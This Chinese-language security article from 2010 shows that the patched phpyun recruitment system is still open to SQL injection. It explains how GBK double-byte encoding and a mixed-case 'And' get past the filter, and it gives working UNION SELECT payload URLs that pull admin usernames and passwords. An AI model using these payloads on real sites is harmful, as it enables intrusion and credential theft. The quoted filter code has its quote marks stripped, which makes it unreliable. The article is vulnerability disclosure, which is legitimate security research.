频道栏目
首页 > 安全 > 网站安全 > 正文

phpyun人才系统补丁之后的注入和修复

2010-10-25 11:38:01           
收藏   我要投稿

昨天无意看到php100好像对php云系统出了安全补丁了,今天没事,下载下来1.1.6版的大概看一下,看一下是怎么补得。看了之后,发现在config/db_safety.php的过滤函数如下:

function common_htmlspecialchars($str)
{
$str = preg_replace(/&(?!#[0-9]+;)/s, &, $str);
$str = str_replace(array(<, >, ",and,=,""), array(&lt;, &gt;, &quot;,an d,"=","”"), $str); //比之前多过滤了和=

        return $str;
}
foreach($_POST as $id=>$v){
$_POST[$id]=common_htmlspecialchars($v);
}
foreach($_GET as $id=>$v){
$_GET[$id]=common_htmlspecialchars($v);
}
foreach($_COOKIE as $id=>$v){
$_COOKIE[$id]=common_htmlspecialchars($v);
}

程序员显然认为过滤了单引号,就没有办法了。我承认用单引号引起的变量,确实是需要单引号来闭合的,但是变通一下思维,需要单引号,我不一定要靠外部引入的,例如:

$sql = "select * from user where name= $name and pass=$pass"

这个sql 如果我想办法弄成 select * from user where name=縗 and pass= or 1=1-- sdf //用-- 注释掉最后的单引号,不是一样用or可以注入吗?

另外这个补丁用str_replace 过滤 and,但是如果我提交And或者aNd呢?

所以打了补丁的phpyun系统依然存在双字节编码注入漏洞,不受gpc选项影响。

测试方法:

访问www.abc.com/search.php?keyword=&provinceid=%df&cityid=%20union%20select%201,2,concat(0x40,0x23,username,0x7e,password,0x23,0x40),4,5,6,7,8,9,0,11,12%20from%20phpyun_admin_user--%20-&mySearchCityName=&mySearchCity=&search=%CB%D1%CB%F7www.abc.com/resumeview.php?uid= union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat(0x40,0x23,username,0x7e,password,0x23,0x40),17 from phpyun_admin_user-- sd&e=%df   。

  


随便举了两个,有很多可利用的地方,另外商业版的貌似对所有int数据强制转换了,只是猜测,因为这两个地方演示站黑盒测试没问题(俺没有商业版代码)。

修复方案:

Ryat牛说防止注入的思想就是最大限度的估计好变量的类型,希望程序员多多思考。

仅供技术交流。

相关TAG标签 补丁 人才 系统
上一篇:印度ShopDirect 0day及修复
下一篇:php通用防注入程序
相关文章
图文推荐
热门新闻

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站